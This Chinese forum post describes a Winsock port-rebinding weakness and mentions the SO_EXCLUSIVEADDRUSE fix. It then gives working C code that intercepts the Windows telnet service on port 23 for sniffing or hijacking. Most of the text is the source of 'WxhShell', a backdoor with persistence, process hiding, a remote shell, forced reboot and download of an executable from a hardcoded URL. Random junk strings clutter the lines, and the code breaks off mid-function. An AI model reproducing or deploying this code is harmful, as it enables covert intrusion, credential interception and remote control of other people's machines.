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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \ 3wfwu.q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x(etb<!jd  
:PIF07$xl  
  saddr.sin_family = AF_INET; rz wF~-m +  
Oiz ,w7LRh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  FT#8L  
u37'~&o{U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s+,OxRVw(  
&]e'KdXF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cZB7fmq%  
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  这意味着什么?意味着可以进行如下的攻击: P&9Gga^I  
< Z{HX[y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L;VoJf  
Co (.:z~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q&wB$*u  
=vQcYa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HJXT9;w  
!UG 7Uer  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4 N H  
A+SE91m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Sp@^XmX(S  
<tF9V Jq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J pFfzb  
96 q_ K84K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0E,8R{e  
0 fF(Z0R,  
  #include Pz>s6 [ob  
  #include !c}O5TI|#  
  #include Hyb3 ;yQ  
  #include    iVp,e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z.$4!$q  
  int main() ,k{#S?:b  
  { "U!AlZ`g  
  WORD wVersionRequested; WG N=Y~E  
  DWORD ret; d F9!G;V  
  WSADATA wsaData; 4 Y ;Nm1 @  
  BOOL val; & -{DfNKc  
  SOCKADDR_IN saddr; C\/xl#e<@  
  SOCKADDR_IN scaddr; Kqp(%8mf  
  int err; Bt> }rYz1  
  SOCKET s; P_?gq>E8  
  SOCKET sc; yaah*1ip[  
  int caddsize; 7ePqmB<.  
  HANDLE mt; U*( izD  
  DWORD tid;   :`-,Lbg  
  wVersionRequested = MAKEWORD( 2, 2 ); CN#+U,NZV  
  err = WSAStartup( wVersionRequested, &wsaData ); xIxn"^'  
  if ( err != 0 ) { }Mf!-g  
  printf("error!WSAStartup failed!\n"); |zQ4u  
  return -1; ap&?r`Tu  
  } mz @T  
  saddr.sin_family = AF_INET; eoai(&o0$  
   tSVc|j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @6{~05.p  
q#vQv 5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AvdXEY(-  
  saddr.sin_port = htons(23); gCioq.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Fy`(BF\  
  { &j4xgh9  
  printf("error!socket failed!\n"); :bz}c48%  
  return -1; ] 8Q4BW  
  } iVB86XZ`  
  val = TRUE; FN\E*@>X=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k.uMp<)D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JHz [7  
  { K[ (NTp$E  
  printf("error!setsockopt failed!\n"); SS$[VV  
  return -1; Qa.<K{m#?  
  } ( M7pT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a^`rtvT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 POvP]G9'"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _9=Yvc=  
VY~yg*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xZ6~Ma 2z  
  { OY:,D  
  ret=GetLastError(); P8>~c9$I  
  printf("error!bind failed!\n"); kL$!E9  
  return -1; c2&q*]?l;  
  } :/ Q   
  listen(s,2); %] >KvoA  
  while(1) WN01h=1J_  
  { m|{3),#V  
  caddsize = sizeof(scaddr); MFb9H{LA  
  //接受连接请求 H`0|tepz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S4G^z}{_  
  if(sc!=INVALID_SOCKET) +xrr? g  
  { .Yf:[`Q6g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w)Q0_2p.  
  if(mt==NULL) %d?cP}V  
  { S" xKL{5  
  printf("Thread Creat Failed!\n"); a'2$nbp}  
  break; .w0s%T,8}^  
  } m^b Nuo  
  } sOU1n  
  CloseHandle(mt); h&--,A >  
  } P*I}yPeb  
  closesocket(s); &ge "x{,?  
  WSACleanup(); (H ->IV  
  return 0; f}x.jxY?  
  }   V+VkY3  
  DWORD WINAPI ClientThread(LPVOID lpParam) &o,<ijJ:^m  
  { #MRMNL@   
  SOCKET ss = (SOCKET)lpParam; T`5bZu^c  
  SOCKET sc; ZuS0DPS`L  
  unsigned char buf[4096]; UE$UR#T'w  
  SOCKADDR_IN saddr; ~])t 6i  
  long num; U c@Ao:  
  DWORD val; R,pX:H&#+  
  DWORD ret; =Ur}~w&H8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WJ4li@T7V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oxz OA  
  saddr.sin_family = AF_INET; @wE5S6! B\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PfC!lI BU  
  saddr.sin_port = htons(23); %F-ZN^R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1 D<_N  
  { L IZRoG8  
  printf("error!socket failed!\n"); yIDD@j=l  
  return -1; sB c (gr  
  } %*`J k#W:  
  val = 100; uF1~FKB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "a8j"lPJ  
  { E )5E$  
  ret = GetLastError(); FRg^c kb"  
  return -1; _Jme!Oaa  
  } M;p em<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *:L?#Bw  
  { /+\uqF8F  
  ret = GetLastError(); FE2f'e  
  return -1; 2\7`/,U6  
  } (UU(:/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DjN|Wr)*  
  { b0Kc^uj5  
  printf("error!socket connect failed!\n"); @> E2?CV  
  closesocket(sc); 6y6<JR-V2k  
  closesocket(ss); b+f'[;  
  return -1; kX>f^U{j  
  } )0Me?BRp  
  while(1) N(y\dL=v  
  { O'W0q;rT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *T~Ve;3h;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $aN&nhoO<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mi/&f   
  num = recv(ss,buf,4096,0); d"6&AJ5a  
  if(num>0) [L:o`j  
  send(sc,buf,num,0); k[HAkB \{  
  else if(num==0) 76Vl6cPu>  
  break; o9F/y=.r=  
  num = recv(sc,buf,4096,0); %Mk0QKzUo  
  if(num>0) WV#%PJ  
  send(ss,buf,num,0); w0C~*fn3l  
  else if(num==0) zJ)*Z,7  
  break; Up,vD)tG  
  } hED=u/ql[  
  closesocket(ss); lhw()u  
  closesocket(sc); AKRTBjG"  
  return 0 ; -mRA#  
  } Xt#4/>dlR  
&&VqD w  
<_XWWT%  
========================================================== `g6h9GC6  
Wh%ucX&  
下边附上一个代码,,WXhSHELL R8T] 2?Q1  
hWT[L.>k  
========================================================== ;d'Z|H;  
TH$N5w%  
#include "stdafx.h" d\ ~QBr?  
:P@rkT3Qt  
#include <stdio.h> 6p?JAT5  
#include <string.h> Ldl 5zc  
#include <windows.h> V`7FKL@"  
#include <winsock2.h> %o:2^5\W  
#include <winsvc.h> Pw;!uag  
#include <urlmon.h> a\:VREKj,  
Xixqxm*8  
#pragma comment (lib, "Ws2_32.lib") * C6a?]  
#pragma comment (lib, "urlmon.lib") =n' 4?W@  
d R]Q$CJ  
#define MAX_USER   100 // 最大客户端连接数 L0tAgW!@  
#define BUF_SOCK   200 // sock buffer ulER1\W  
#define KEY_BUFF   255 // 输入 buffer `p7&> BOA  
E)9yH\$6  
#define REBOOT     0   // 重启 3RR_fmMT)  
#define SHUTDOWN   1   // 关机 QtJg ^2@  
+ke1Cn'[  
#define DEF_PORT   5000 // 监听端口 L   
`/MvQ/  
#define REG_LEN     16   // 注册表键长度 Xj5~%DZp  
#define SVC_LEN     80   // NT服务名长度 {|yob4N  
_"#!e{N|  
// 从dll定义API ?l$Nf@-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OHflIeq#@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x $zKzfHW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ocyb5j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + \{&2a?  
=07]z@s  
// wxhshell配置信息 kee|42E  
struct WSCFG { wprX!)w<i  
  int ws_port;         // 监听端口 W(Uu@^  
  char ws_passstr[REG_LEN]; // 口令 ]l(wg]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'vbc#_;  
  char ws_regname[REG_LEN]; // 注册表键名 7rC uu*M  
  char ws_svcname[REG_LEN]; // 服务名 N|Sf=q?Ko  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P@]8pIB0d^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D>!6,m2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pW]4bx@E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tWdhDt8$&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lMz<s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0K-*WQ*#9  
a@pz*e  
}; wfjc/u9W6R  
QQpP#F|w  
// default Wxhshell configuration *E~VKx1  
struct WSCFG wscfg={DEF_PORT, >z`,ch6~  
    "xuhuanlingzhe", JNFIT;L  
    1, G8IY#  
    "Wxhshell", Z h/Uu6  
    "Wxhshell", 2F8|I7R  
            "WxhShell Service", )){xlFA}  
    "Wrsky Windows CmdShell Service", '&;69`FSe  
    "Please Input Your Password: ", (.Lrmf@hI7  
  1,  YOAn4]j  
  "http://www.wrsky.com/wxhshell.exe", Cj*-[ EL<  
  "Wxhshell.exe" h)v^q: ='  
    }; jb /8?7  
CWO=0_>2  
// 消息定义模块 XTDE53Js&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s(_+!d6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dS`Bk6 Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /i)Hb`(S  
char *msg_ws_ext="\n\rExit."; )n=ARDd^e  
char *msg_ws_end="\n\rQuit."; GPWr>B.{:S  
char *msg_ws_boot="\n\rReboot..."; h~7,`fo  
char *msg_ws_poff="\n\rShutdown..."; 7);:ZpDv%L  
char *msg_ws_down="\n\rSave to "; lr2 rQo >  
s^T+5 E&}  
char *msg_ws_err="\n\rErr!"; > 4oY3wk8  
char *msg_ws_ok="\n\rOK!"; A7P`lJgv  
_B,_4}  
char ExeFile[MAX_PATH]; d/7lefF  
int nUser = 0; }xFi& <  
HANDLE handles[MAX_USER]; T[Pa/j{  
int OsIsNt; wE).>  
=ex'22  
SERVICE_STATUS       serviceStatus; ,PWj_}|L[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k:#6^!b1  
Ewo*yY>  
// 函数声明 MjaUdfx  
int Install(void); Ak~4|w-  
int Uninstall(void); v.W{x?5  
int DownloadFile(char *sURL, SOCKET wsh); WP-jtZ?!"  
int Boot(int flag); 8 3.E0@$  
void HideProc(void); ]#<  
int GetOsVer(void); v\ZBv zd  
int Wxhshell(SOCKET wsl); gY`Nr!O  
void TalkWithClient(void *cs); %B EC] h  
int CmdShell(SOCKET sock); 8o)L,{yl  
int StartFromService(void); 7SI)1_%G  
int StartWxhshell(LPSTR lpCmdLine); #B\=Aa`*  
GoE#Mxhxo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r3I,11B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2w?G.pO#  
bdV3v`  
// 数据结构和表定义 .#^0pv!  
SERVICE_TABLE_ENTRY DispatchTable[] = 1a9w(X  
{ -Gsl[Rc0H;  
{wscfg.ws_svcname, NTServiceMain}, J"[3~&em  
{NULL, NULL} 0 15Owi  
}; s?O&ZB2GM[  
>zL |8f  
// 自我安装 B[NJ^b|  
int Install(void) E!aq?`-'!  
{ q|q:: q*  
  char svExeFile[MAX_PATH]; K="I<bK  
  HKEY key; w)S;J,Hv  
  strcpy(svExeFile,ExeFile); vmKT F!;  
k]I*:'178  
// 如果是win9x系统,修改注册表设为自启动 ItK  
if(!OsIsNt) { \; bW h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]+IVSxa!u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A9BxwQU#  
  RegCloseKey(key); N^B@3QF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?~qC,N[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R^9"N?Q7;`  
  RegCloseKey(key); 'P/taEi=R  
  return 0; II#  
    } ?1m ,SK  
  } $DV-Ieb  
} ;a{rWz1Wm  
else { DN|vz}s  
A*Q[k 9B  
// 如果是NT以上系统,安装为系统服务 zjoo{IH}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JfKg_&hM  
if (schSCManager!=0) $Z7:#cZ Y  
{ Orc>.~+f%A  
  SC_HANDLE schService = CreateService ew"m!F#  
  ( >PH< N  
  schSCManager, ?W<cB`J  
  wscfg.ws_svcname, ZPYH#gC& T  
  wscfg.ws_svcdisp, g!`BXmW  
  SERVICE_ALL_ACCESS, gCwt0)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (q k5f`O  
  SERVICE_AUTO_START, ZX]A )5G  
  SERVICE_ERROR_NORMAL, _&mc8ftT  
  svExeFile, hE5G!@1F  
  NULL, 3AP YO  
  NULL, o?=fhc  
  NULL, %f#\i#G<k  
  NULL, Gavkil  
  NULL GsRt5?X/*  
  ); (o{)>D  
  if (schService!=0) c.6QhE  
  { >!G5]?taa  
  CloseServiceHandle(schService); V"U~Q=`K  
  CloseServiceHandle(schSCManager); +TWJNI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lzI/\%  
  strcat(svExeFile,wscfg.ws_svcname); `~KAk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SJF2k[da  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fcn_<Yh0W  
  RegCloseKey(key); SOYDp;j  
  return 0; YL!oF^XO  
    } :!hk~#yvJ9  
  } T)O]:v  
  CloseServiceHandle(schSCManager); X &09  
} 2PI #ie4  
} TR_(_Yd?36  
X[Y #+z4  
return 1; 0YHYxn  
} .>a$g7Rj  
_qk9o  
// 自我卸载 [y$j9  
int Uninstall(void) {bxhH)a'  
{ <6gU2@1  
  HKEY key; r ufRaar  
:nTkg[49pJ  
if(!OsIsNt) { X^9t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $t%"Tr  
  RegDeleteValue(key,wscfg.ws_regname); 8g&uE*7N  
  RegCloseKey(key); ta2z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x%ZiE5#  
  RegDeleteValue(key,wscfg.ws_regname); N n:m+ZDo^  
  RegCloseKey(key); RN sJ!or  
  return 0; )vxVg*.Ee  
  } 7?)m(CFy  
} x Xl$Mp7  
} A/ r;;S)%2  
else { p3i qW,[@  
]ZBgE\[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -{.h\  
if (schSCManager!=0) ^$3w&$K*  
{ ^S>!kt7io  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); us(sZG  
  if (schService!=0) )yfOrsM  
  { 'Sm/t/g"|  
  if(DeleteService(schService)!=0) { Yf%[6Y{  
  CloseServiceHandle(schService); c'>8pd  
  CloseServiceHandle(schSCManager); Zm?G'06  
  return 0; L|vaTidc0  
  } 6oe$)iV  
  CloseServiceHandle(schService); 3RG/X  
  } L8%=k%H(1  
  CloseServiceHandle(schSCManager); M}{n6T6B  
} b3jU~L$  
} ZnxOa  
cJ1{2R  
return 1; AF07KA#  
} K[Ws/yc^a  
k N uN4/  
// 从指定url下载文件 rYP8V >  
int DownloadFile(char *sURL, SOCKET wsh) GNj/jU<o!  
{ xf{C 'uF/  
  HRESULT hr; #m[w=Pu}  
char seps[]= "/"; ~Y}Z4" o  
char *token; a93d'ZE-X  
char *file; zS>:7eG  
char myURL[MAX_PATH]; )yz9? ]a  
char myFILE[MAX_PATH]; C'xU=OnA8  
6='_+{   
strcpy(myURL,sURL); \3@2rW"5  
  token=strtok(myURL,seps); }(hYG"5  
  while(token!=NULL) h)aWerzL  
  { @O*ev| o@x  
    file=token; q#':aXcv"  
  token=strtok(NULL,seps); ADJ5ZD<Q  
  } ? geWR_Z  
a#~Z5>{  
GetCurrentDirectory(MAX_PATH,myFILE); a5Acqa  
strcat(myFILE, "\\"); 1\7"I-  
strcat(myFILE, file); vVvt ]h  
  send(wsh,myFILE,strlen(myFILE),0); "ZK5P&d  
send(wsh,"...",3,0); h-)A?%Xt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =6q*w^ET  
  if(hr==S_OK) SS<+fWXE  
return 0; yz&q2  
else hU)f(L  
return 1; o^"d2=  
vGMOXbq4&  
} Cg%I)nz  
=-B3vd:LF  
// 系统电源模块 ![."xHVeL  
int Boot(int flag) /x"pj3  
{ QW"6]  
  HANDLE hToken; S.)8&  
  TOKEN_PRIVILEGES tkp; dXcMysRc%&  
u=UM^C!  
  if(OsIsNt) { Wx\"wlJ7.3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (nZ=9+j]d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ez<wEt S  
    tkp.PrivilegeCount = 1; SO jDtZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m^s2kB4A[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GLcZ=6)"'  
if(flag==REBOOT) { 5Vm}<8{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XU })3]/  
  return 0; Q24:G  
} D+U/]sW  
else { D;8V{Hs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !JQ~r@j  
  return 0; ~v,KI["o  
} :?XHZ  
  } n^(yW  
  else { h.+&=s!Nsy  
if(flag==REBOOT) { F vk: c-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *9:6t6x  
  return 0; ?g*T3S"  
}  O,,n  
else { u2\qg;dP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jN[6JY1  
  return 0; - 5Wt9  
} nR'EuI~(}  
} 7[<sl35  
s6h Wq&C  
return 1; *b l{F\  
} \gQ+@O&+  
F`}w0=-*(  
// win9x进程隐藏模块 oK1[_ko|  
void HideProc(void) ?4?jG3p  
{ P FFw$\j  
;p"XCLHl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !3v"7l{LF  
  if ( hKernel != NULL ) _SW a3O#'  
  { ~\IDg/9 Cj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hLD;U J?S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _~q^YZ  
    FreeLibrary(hKernel); &rWJg6/  
  } ? bg pUv  
qNVw+U;2P  
return; X}FF4jE]D(  
} ;-Dd\\)p  
07Cuoqt2  
// 获取操作系统版本 %4^/.) Q  
int GetOsVer(void) C:EoUu  
{ I~6 ;9TlQ  
  OSVERSIONINFO winfo; m D q,,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lcb5 9Cs6e  
  GetVersionEx(&winfo); `8bp6}OD,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g*AqFY7|  
  return 1; J(VZa_  
  else ] CE2/6Ph  
  return 0; X0=- {<W  
} 9'aR-tFun;  
41D[[Gh  
// 客户端句柄模块 TrA Uu`?#  
int Wxhshell(SOCKET wsl) 5X-{|r3q  
{ /qze  
  SOCKET wsh; ]qRz!D%@^  
  struct sockaddr_in client; #Og_q$})f  
  DWORD myID; 9K(b Z {  
4"=pcHNV  
  while(nUser<MAX_USER) `Yve  
{ C@W0fz  
  int nSize=sizeof(client); [0@i,7{ZqE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qeGOSGc_  
  if(wsh==INVALID_SOCKET) return 1; .{>-.&  
h {btT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A 76yz`D  
if(handles[nUser]==0) ~vS.Dr  
  closesocket(wsh); a$A S?`L  
else =T6\kz9)`  
  nUser++; M-t9zT  
  } Wc[)mYOSuO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J],BO\ECH  
^2tCDm5  
  return 0; tO$M[P=b  
} T;7|d5][  
wEyh;ID3#  
// 关闭 socket =*N(8j>y  
void CloseIt(SOCKET wsh) SM?<woY=*  
{ KxI(# }5o&  
closesocket(wsh); ps [rYy  
nUser--; XZJx3!~fm  
ExitThread(0); 'UCL?$  
} xNU}uW>>T  
w}?\Q,  
// 客户端请求句柄 i=rW{0c%  
void TalkWithClient(void *cs) A,@"(3  
{ mqpZby  
eyOAG4QTV  
  SOCKET wsh=(SOCKET)cs; 54-x 14")  
  char pwd[SVC_LEN]; NaIVKo  
  char cmd[KEY_BUFF]; 5sRNqTIr  
char chr[1]; v?J2cL  
int i,j; ?Eed#pb_  
oz--gA:g  
  while (nUser < MAX_USER) { [iz  
Oi RqqD  
if(wscfg.ws_passstr) { ?Z"}RMM)8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qW9|&GuZ$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !G37K8 &&*  
  //ZeroMemory(pwd,KEY_BUFF); wP'`!O[W  
      i=0; +4 dHaj6  
  while(i<SVC_LEN) { t+ @F"[j  
|?8wyP  
  // 设置超时 #frhO;6  
  fd_set FdRead; 6+>rf{5P7  
  struct timeval TimeOut; G.;<?W  
  FD_ZERO(&FdRead); -HOCxR  
  FD_SET(wsh,&FdRead); .%o:kq@B  
  TimeOut.tv_sec=8; x:(e: I8x(  
  TimeOut.tv_usec=0; "D+QT+sD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5M3QRJ!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wr;)3K  
|( KM 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D6D*RTi4  
  pwd=chr[0]; @#p4QEQA  
  if(chr[0]==0xd || chr[0]==0xa) { 7RO=X%0A  
  pwd=0; #RcmO **  
  break; DwI)?a_+  
  } ~0`Pe{^*  
  i++; ][.1b@)qV  
    } h<uQ~CQg  
K_xn>  
  // 如果是非法用户,关闭 socket Z@>>ZS1Do  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;^;5"n h  
} /H)l\m +  
v / a/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YWTo]DJV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f,$FrI,  
/c09-$M  
while(1) { .UJk0%1  
6rk/74gI,a  
  ZeroMemory(cmd,KEY_BUFF); {KR/ TQ?A  
]M_)f  
      // 自动支持客户端 telnet标准   G"'DoP7p9  
  j=0; 0FXM4YcrJO  
  while(j<KEY_BUFF) { b{(:'.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g?`w)O 7v  
  cmd[j]=chr[0]; S_^"$j  
  if(chr[0]==0xa || chr[0]==0xd) { thOCzGJ$  
  cmd[j]=0; 'oo]oeJ-  
  break; eudPp"Km  
  } \HRQSfGt  
  j++; y`'Ly@s  
    } m0:8thZN  
z\fk?Tj<ro  
  // 下载文件 7FWf,IjcGY  
  if(strstr(cmd,"http://")) { }(gXlF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ \jly  
  if(DownloadFile(cmd,wsh)) WS;3a}u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z@A/$T  
  else ,2u]rLxx;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y:1?~R  
  } qoOHWh&  
  else { VGTo$RH  
b\}`L"  
    switch(cmd[0]) { "|f;   
  m|p}Jf!  
  // 帮助 }V`Fz',lZ  
  case '?': { Q&wBX%@^L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S!rUdxO  
    break; 7/Ew(X8Fs  
  } =\`9\Gd  
  // 安装 tr):n@  
  case 'i': { ao 32n  
    if(Install()) m^p Q55,   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fz<Y9h=  
    else >5 Ce/P'R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oi7|R7NE  
    break; <{e0 i  
    } %R(j|a9z  
  // 卸载 | YvO$4=s  
  case 'r': { Yh"R#  
    if(Uninstall()) UUX _x?BD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s*rtm  
    else Rb#?c+&#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5FzG_ w  
    break; V$@@!q  
    } w W-GBY3  
  // 显示 wxhshell 所在路径 T Li0*)}  
  case 'p': { ci ,o'`Q  
    char svExeFile[MAX_PATH]; W.>yIA%  
    strcpy(svExeFile,"\n\r"); !1|f,9C  
      strcat(svExeFile,ExeFile); x%LWcT/  
        send(wsh,svExeFile,strlen(svExeFile),0); .nT"f>S&'  
    break; a]75z)X R  
    } wtMS<$  
  // 重启 !! #\P7P  
  case 'b': { 8iq~ha$]|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jt?R a1Z  
    if(Boot(REBOOT)) z^ ~fVl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Zuwd(q  
    else { BC&Et62*  
    closesocket(wsh); g~N)~]0{  
    ExitThread(0); ^1}}-9q  
    } hX_;gR&R  
    break; >C@fSmnOM  
    } a ipvG  
  // 关机 ] 5c|  
  case 'd': { gn7pIoN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 76xgExOU?C  
